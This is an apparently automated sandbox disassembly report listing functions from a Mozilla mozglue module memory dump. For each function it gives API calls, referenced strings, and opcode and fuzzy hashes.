GetCurrentThreadId.KERNEL32 ref: 6C60DE73
GetCurrentThreadId.KERNEL32 ref: 6C60DF7D
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60DF8A
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60DFC9
GetCurrentThreadId.KERNEL32 ref: 6C60DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5D4A68), ref: 6C60DE7B

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5D4A68), ref: 6C60DEB8
free.MOZGLUE(00000000,?,6C5D4A68), ref: 6C60DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C60DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C60DE83
<none>, xrefs: 6C60DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C60E00E

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 01ce6b973efd578bcb97868efe23b3ec4b430a0102ff5f91c1b8f8727e9e58de
Instruction ID: 8953bf94c4f320d4c5bf675bb3341dad6062472df5f9664b7d98ae5f79c95dd4
Opcode Fuzzy Hash: 01ce6b973efd578bcb97868efe23b3ec4b430a0102ff5f91c1b8f8727e9e58de
Instruction Fuzzy Hash: 694128317015109BDB18AF66D988BAE7776EF8631CF14C115E909A7B02DB709806CBEE

Function 6C61D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C61D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C61D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61D52A
GetCurrentThreadId.KERNEL32 ref: 6C61D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C61D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61D55F
free.MOZGLUE(00000000), ref: 6C61D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C61D5D3
GetCurrentThreadId.KERNEL32 ref: 6C61D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C61D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61D652
GetCurrentThreadId.KERNEL32 ref: 6C61D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C61D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61D6A2

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 408c736796d5af5399390b406866ea81de60f15969e29f212671ad72d28c46a0
Instruction ID: 8d2fe75d66d01dfeed7b7ae8b3f36af0af5b59135096a1779a710b16ec93479f
Opcode Fuzzy Hash: 408c736796d5af5399390b406866ea81de60f15969e29f212671ad72d28c46a0
Instruction Fuzzy Hash: D5518D71608B05DFC704DF35C884A9ABBF5FF89358F10862EE85A87B10DB30A845CB99

Function 6C5C1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64E784), ref: 6C5C1EC1
LeaveCriticalSection.KERNEL32(6C64E784), ref: 6C5C1EE1
EnterCriticalSection.KERNEL32(6C64E744), ref: 6C5C1F38
LeaveCriticalSection.KERNEL32(6C64E744), ref: 6C5C1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C5C1F83
LeaveCriticalSection.KERNEL32(6C64E784), ref: 6C5C1FC0
EnterCriticalSection.KERNEL32(6C64E784), ref: 6C5C1FE2
LeaveCriticalSection.KERNEL32(6C64E784), ref: 6C5C1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5C2019

Strings

MOZ_CRASH(), xrefs: 6C5C2000
Ddl, xrefs: 6C5C1F56
\dl, xrefs: 6C5C1F3E
Ddl, xrefs: 6C5C1F32

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Ddl$Ddl$MOZ_CRASH()$\dl
API String ID: 2055633661-3535199040
Opcode ID: b1dc7abf910dd4aed38db2e52fe3934edec706ad679f38a63fe922b0a1bc8a6e
Instruction ID: abff4b3e36cfad054f058416ebfda1b5298cfff436e17d65de2243563348e47a
Opcode Fuzzy Hash: b1dc7abf910dd4aed38db2e52fe3934edec706ad679f38a63fe922b0a1bc8a6e
Instruction Fuzzy Hash: E641C275B043158BDB00EFB9CC84BAE7AB5EB8A358F00C029E91597740D7709805CBDA

Function 6C5E5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5E56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5E56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5E56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C5E5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5E57BC
GetTickCount64.KERNEL32 ref: 6C5E58CB
EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5E58F3
__aulldiv.LIBCMT ref: 6C5E5945
LeaveCriticalSection.KERNEL32(6C64F688), ref: 6C5E59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C64F638,?,?,?,?), ref: 6C5E59E9

Strings

MOZ_APP_RESTART, xrefs: 6C5E56CC

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: c1477b2d90c6524a2bb61dda34fb2f455ce49293c74ad2e95a0b69beee0f0926
Instruction ID: ed6522c7c278d40a7eb7ff00bce1c29744eb3e05236ffaa377728bf990497998
Opcode Fuzzy Hash: c1477b2d90c6524a2bb61dda34fb2f455ce49293c74ad2e95a0b69beee0f0926
Instruction Fuzzy Hash: 00C18C31A093509FD705DF29C88066ABBF1FFCA758F45CA1DE8C897661D730A885CB86

Function 6C60EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60EC8C

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

GetCurrentThreadId.KERNEL32 ref: 6C60ECA1
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C60ECC5
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C60ED19
CloseHandle.KERNEL32(?), ref: 6C60ED28
free.MOZGLUE(00000000), ref: 6C60ED2F
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C60EC94

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 1fd8ebe4facb339a744479fc756eb73d7baa5716f362e840e26c035b1d76682d
Instruction ID: 660f78cd5691f4a94064f3ba340cac28532e0e0ccb9f7d51e6442462070bb79c
Opcode Fuzzy Hash: 1fd8ebe4facb339a744479fc756eb73d7baa5716f362e840e26c035b1d76682d
Instruction Fuzzy Hash: 2821D375700514ABDB04AF26D944AAE7779EF8636CF10C210FD18A7781DB719806CBAE

Function 6C608ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C5CEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5CEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C60B392,?,?,00000001), ref: 6C6091F4

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

Strings

timeline-memory, xrefs: 6C609088
timeline-ipc, xrefs: 6C609096
marker-table, xrefs: 6C60906C
data, xrefs: 6C6090E8
name, xrefs: 6C608F16
timeline-fileio, xrefs: 6C6090A4
timeline-overview, xrefs: 6C60907A
stack-chart, xrefs: 6C6090B2
marker-chart, xrefs: 6C60905E

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: efe7cb1cb754f2415e859944c38ca58ac3ffb61abbda55d6f2087efee2d719e9
Instruction ID: 806c378f4c62dc2c7c52e9aa2cefb83faa9fe78a47a15f069748f067a428d5d7
Opcode Fuzzy Hash: efe7cb1cb754f2415e859944c38ca58ac3ffb61abbda55d6f2087efee2d719e9
Instruction Fuzzy Hash: 80B1B5B0B11219DBDB08CF98C9967EEBBB6AF84308F109019D405ABF80D771AD45CBD9

Function 6C5EC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5EC5A3
WideCharToMultiByte.KERNEL32 ref: 6C5EC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5EC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C5ECA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5ECA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5ECAA5

Strings

0, xrefs: 6C5ED30A
(null), xrefs: 6C5EC596

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 84f4dfa2ba1ed5edcd589cf3f580ef308c00870a7253d9f633983a5d5a0db6bf
Instruction ID: 23c90888c69aff3a10da8954314ce53970740d8f6ae9ba1125b9059873129b24
Opcode Fuzzy Hash: 84f4dfa2ba1ed5edcd589cf3f580ef308c00870a7253d9f633983a5d5a0db6bf
Instruction Fuzzy Hash: ADA189306083429FDB10EF29C994B5BBBE5AFCD748F14892DE89A97741D731E805CB86

Function 6C5C3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5C3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5C34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5C34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5C350E
__Init_thread_footer.LIBCMT ref: 6C5C3522
__aulldiv.LIBCMT ref: 6C5C3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5C357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5C3592

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

Strings

kernel32.dll, xrefs: 6C5C34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C5C3508

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 103f7e3cbf6cc1c801bfb172f8485adbbc082ae7cd87339741272227dd20a528
Instruction ID: 15bf4787394a51c8d634e7345ae0f2ba64464c8f4ff12c99b794cebdfd97a1b4
Opcode Fuzzy Hash: 103f7e3cbf6cc1c801bfb172f8485adbbc082ae7cd87339741272227dd20a528
Instruction Fuzzy Hash: 7D319375B002499BDF04EFBACC88EAE77B5FB86309F10C419E515A3650EB70A905CF66

Function 6C5C4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C604843,?), ref: 6C5C45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C604843,?), ref: 6C5C468A
free.MOZGLUE(?,?,?,?,?,?,6C604843,?), ref: 6C5C46C9
free.MOZGLUE(?), ref: 6C5C46EF
free.MOZGLUE(?), ref: 6C5C4712
free.MOZGLUE(?), ref: 6C5C4735
free.MOZGLUE(?), ref: 6C5C4758
free.MOZGLUE(?), ref: 6C5C477B
free.MOZGLUE(?), ref: 6C5C479E

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 64c49cc0a9088f3c1bad03ec42a1d0caf4abf7378532fbf5fbd5944e66d7942c
Instruction ID: 9e8577b9d8768de45ec16bd8bd2f5d8f5310f6918295dba1e4282b946527d9e1
Opcode Fuzzy Hash: 64c49cc0a9088f3c1bad03ec42a1d0caf4abf7378532fbf5fbd5944e66d7942c
Instruction Fuzzy Hash: 91B1E371B001518FDB18CEACCCD0B7D76B2AF85328F18466DE816DBBC6E73498408B82

Function 6C62AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C62AC52
CreateFileMappingW.KERNEL32 ref: 6C62AC7D
GetSystemInfo.KERNEL32 ref: 6C62AC98
MapViewOfFile.KERNEL32 ref: 6C62ACB0
GetSystemInfo.KERNEL32 ref: 6C62ACCD
MapViewOfFile.KERNEL32 ref: 6C62AD05
UnmapViewOfFile.KERNEL32 ref: 6C62AD1C
CloseHandle.KERNEL32 ref: 6C62AD28
UnmapViewOfFile.KERNEL32 ref: 6C62AD37
CloseHandle.KERNEL32 ref: 6C62AD43
CloseHandle.KERNEL32 ref: 6C62AD67

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 58cefe539437607c0d999f308b4c7a5a9f55865fa748e966f6d933fa4391df99
Instruction ID: e56948ba5a78a12f7c6d10205341decc59dc553b84023f2c8cdc0697a498d8e0
Opcode Fuzzy Hash: 58cefe539437607c0d999f308b4c7a5a9f55865fa748e966f6d933fa4391df99
Instruction Fuzzy Hash: 78314FB19047058FDB00BF7DD68866EBBF0BF85305F018929E99986211EB749449CB96

Function 6C5D9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5D9675
__Init_thread_footer.LIBCMT ref: 6C5D9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5D96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5D9707
__Init_thread_footer.LIBCMT ref: 6C5D971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5D9773

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5D97B7
FreeLibrary.KERNEL32 ref: 6C5D97D0
FreeLibrary.KERNEL32 ref: 6C5D97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5D9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5D9670
MapViewOfFileNuma2, xrefs: 6C5D97B1
ntdll.dll, xrefs: 6C5D96E3
NtMapViewOfSection, xrefs: 6C5D9701

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 5150de3acbf14ca25b4f3d4c81f1b707b75d6319122d55ebfa2a3df498adccc0
Instruction ID: 8054ef1ee829ec84192c0220e502b99ae6b98c0343f3a0d89c7cc059adb91ae8
Opcode Fuzzy Hash: 5150de3acbf14ca25b4f3d4c81f1b707b75d6319122d55ebfa2a3df498adccc0
Instruction Fuzzy Hash: A941A375600305DBDF00EFAAEDE4A967BB4EB8A358F01C124ED1597740D734A805CFAA

Function 6C5D7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D7EA7
malloc.MOZGLUE(00000001), ref: 6C5D7EB3

Part of subcall function 6C5DCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C5DCB49
Part of subcall function 6C5DCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C5D7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C5D7F19
malloc.MOZGLUE(?), ref: 6C5D7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5D7F4D

Strings

d, xrefs: 6C5D7F89

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 9aceb9b682b47c25e4f5dee9943319623f5a626fbcb8aea7b04d26911c5af811
Instruction ID: f4a3ed533023a93dbf1837ade17cf5fa6e933c0700e2b793b98a1bcc3116a903
Opcode Fuzzy Hash: 9aceb9b682b47c25e4f5dee9943319623f5a626fbcb8aea7b04d26911c5af811
Instruction Fuzzy Hash: 0C311871E0435897DF00EB29CC449FEB778EF96208F059628ED4957612FB30B988C399

Function 6C619D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C618273), ref: 6C619D65
free.MOZGLUE(6C618273,?), ref: 6C619D7C
free.MOZGLUE(?,?), ref: 6C619D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C619E0F
free.MOZGLUE(6C61946B,?,?), ref: 6C619E24
free.MOZGLUE(?,?,?), ref: 6C619E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C619EC8
free.MOZGLUE(6C61946B,?,?,?), ref: 6C619EDF
free.MOZGLUE(?,?,?,?), ref: 6C619EF5

Memory Dump Source

